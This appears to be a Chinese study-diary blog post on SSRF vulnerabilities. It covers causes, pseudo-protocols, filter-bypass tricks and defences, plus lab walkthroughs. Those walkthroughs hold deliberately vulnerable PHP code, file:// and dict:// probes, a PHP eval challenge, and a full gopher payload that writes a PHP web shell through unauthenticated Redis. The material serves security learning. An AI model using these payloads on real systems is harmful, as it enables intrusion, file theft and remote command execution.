DAY37:SSRF 漏洞

DAY37:SSRF 漏洞

1、SSRF 漏洞概述

SSRF(Sever Side Request Forgery)—服务器端请求伪造,一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

​ 一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

1.1、SSRF 漏洞成因

​ SSRF 形成原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制,利用存在缺陷的web应用作为代理攻击远程和本地的服务器

2、SSRF 漏洞可能存在的场景

(1)通过URL地址分享的网页内容处

(2)转码服务、在线转码服务

(3)在线翻译、通过URL地址翻译对应文本的内容

(4)图片、文章收藏功能

(5)未公开的api实现以及其他调用URL的功能

(6)图片加载与下载

3、SSRF 漏洞中 URL 的伪协议

file:///	从文件系统中获取文件内容
php://filter 可以读取写入相应的数据来源
dict:// 	端口刺探,字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// 	SSH文件传输协议或安全文件传输协议
ldap:// 	轻量级目录访问协议
tftp:// 	简单文件传输协议
gopher:// 	分布式文档传递服务,可使用gopherus生成payload

2、产生 SSRF 漏洞的函数

2.1、PHP 函数

file_get_contents
fsockopen()
curl_exec()
fopen()

注意:一般情况下 PHP 不会开启fopengopher wrappergopher协议不能URL编码

2.2、JSP 函数

Request类
openStream类
HttpClient类
URLConnection类
HttpURLConnection类

4、SSRF 漏洞的危害

(1)可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息

(2)攻击运行在内网或本地的应用程序(比如溢出)

(3)对内网web应用进行指纹识别,通过访问默认文件实现

(4)攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等)

(5)利用file协议读取本地文件等

(6)各个协议调用探针:http,file,dict,ftp,gopher

http:ip_address/phpmyadmin/
file:///D:/www.txt
dict://ip_address:3306/info
ftp://ip_address:21

5、SSRF 漏洞绕过方式

​ 部分存在漏洞,或者可能产生 SSRF 的功能中做了白名单或者黑名单的处理,来达到阻止对内网服务和资源的攻击和访问。因此想要达到 SSRF 的攻击,需要对请求的参数地址做相关的绕过处理

5.1、@ 跳转绕过

url=file://@baidu.com/flag.php
层级符号(//)凭证信息@服务器地址:端口/文件路径?参数=值#片段

5.2、添加端口绕过


5.3、短地址绕过,302跳转绕过

https://dwz.cn/                #百度短地址

5.4、指向任意 IP 的域名 xip.io 绕过

利用DNS解析,xip.io可以指向任意域名

5.5、进制组合及缺省绕过

127.0.0.1
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433.

5.6、利用 [::] 绕过

http://ip_address>>http://[::ip_address]

5.7、利用 。(句号)绕过

127。0。0。1 >>> 127.0.0.1

5.8、CRLF 编码绕过

%0d->0x0d->\r回车
%0a->0x0a->\n换行
进行HTTP头部注入
url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a 

5.9、利用封闭的字母数字绕过

Enclosed alphanumerics

① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
http://123.456.7.899>>>http://[::①②③。④⑤⑥。⑦。⑧⑨⑨]

5.10、?# 截断

file://www.baidu.com/html/flag?
file://www.baidu.com/绝对路径/目标文件

curl 支持 file://host/path、file://path 这两种格式

即使有 host 也可以访问本地文件

5.11、利用特殊协议绕过(7.5及以上)

gopher://

dict://			端口刺探
http://ip_address/?xxx=dict://127.0.0.1:3306/info 	进行模糊测试//redis 未授权访问漏洞

redis 未授权访问漏洞

目录操作
getchwd()
scandir()
chdir()
dirname()

数组操作
next()
end()
reset()
each()
array_shift()

读文件操作
show_source()
readfile()
highlight_file()
readgzfile()

6、SSRF 漏洞防御

(1)过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。

​ 如果web应用是去获取某一种类型的文件,那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

(2)统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

(3)限制请求的端口为http常用的端口,比如80,443,8080,8090

(4)黑名单内网ip,避免应用被用来获取获取内网数据,攻击内网

(5)禁用不需要的协议,仅仅允许httphttps请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题

示例:

1、Test1

请添加图片描述

<?php 
if(!$_GET['site']){
	$str = <<<EOD

<html> 
<body> 
look source code: 
<form action='' method='GET'> 
<input type='submit' name='submit' /> 
<input type='text' name='site' style="width:1000px" value="https://www.baidu.com"/> 
</form>
</body>
</html>
EOD;

echo $str;
die();
}
$url = $_GET['site'];
$url_schema = parse_url($url);
$host = $url_schema['host'];
$request_url = $url."/"; 

if ($host !== 'www.baidu.com'){ 
	die("wrong site"); 
}

$ci = curl_init();
curl_setopt($ci, CURLOPT_URL, $request_url);
curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ci);
curl_close($ci);

if($res){ 
	echo "<h1>Source Code:</h1>"; 
	echo $request_url; 
	echo "<hr />"; 
	echo htmlentities($res); 
}else{ 
	echo "get source failed"; 
}  
http://127.0.0.1/demo2.php?site=file://www.baidu.com/C:\phpstudy_pro\WWW\src/flag.php?
http://127.0.0.1/demo2.php?site=file://www.baidu.com/%2570hpstudy_pro/WWW/src/flag.%2570hp?

请添加图片描述

2、Test2

请添加图片描述

绕过strpos验证:

当我们发送一个带有编码的字符串到strpos()时,当我们发出一个具有双重编码的串时,我们能够绕过验证,如果情况类似于strpos($string,"php"),则使用%2570hp

请添加图片描述

可以使用 file:// 协议

http://172.16.0.47/src/demo.php?x=file://C:\%2570hpstudy_pro\WWW\src\flag.%2570hp

请添加图片描述

3、Test3

进入页面

请添加图片描述

使用 dict://协议进行端口刺探

10.1.10.10:49154/?url=dict://127.0.0.1:3306/info

请添加图片描述

bp 爆破端口

请添加图片描述请添加图片描述
请添加图片描述

查看内容
请添加图片描述

为 redis 未授权访问漏洞

使用 Gopherus-master python2 编写进行上传 shell

python2 gopherus.py --exploit redis

请添加图片描述

PHPShell/默认/默认

请添加图片描述

生成成功

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

再进行依次url编码,进入页面在 url 处访问

gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

接着get方式执行命令
请添加图片描述

成功

4、Test4

<?php

if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])){
        eval($_GET['code']);
}else{
        show_source(__FILE__);
}

//?code=eval(hex2bin(session_id(session_start())));
if(isset($_GET['var'])){
        if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['var'])) {  //preg_replace主要功能限制传进的必须是小写字母的函数且不能带参数  (?R)?递归整个匹配的模式
                if (!preg_match('/et|dir|na|info|dec|oct|pi|log/i', $_GET['var'])) {  //preg_match主要功能是过滤函数
                    eval($_GET['var']);
                }
        }
        else{
            die("hacker U!");
        }
}
else{
    show_source(__FILE__);
}

//?code=print_r(getcwd());
//?code=print_r(dirname(getcwd()));
//scandir('123')
//scandir('a()')
//print_r(array_reverse(scandir(current(localeconv()))))

preg_replace替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9*],然后(?R)?这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;

​ 以上正则表达式只匹配a(b(c()))a()这种格式,不匹配a("123"),也就是说我们传入的值函数不能带有参数,所以我们要使用无参数的函数进行文件读取或者命令执行

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值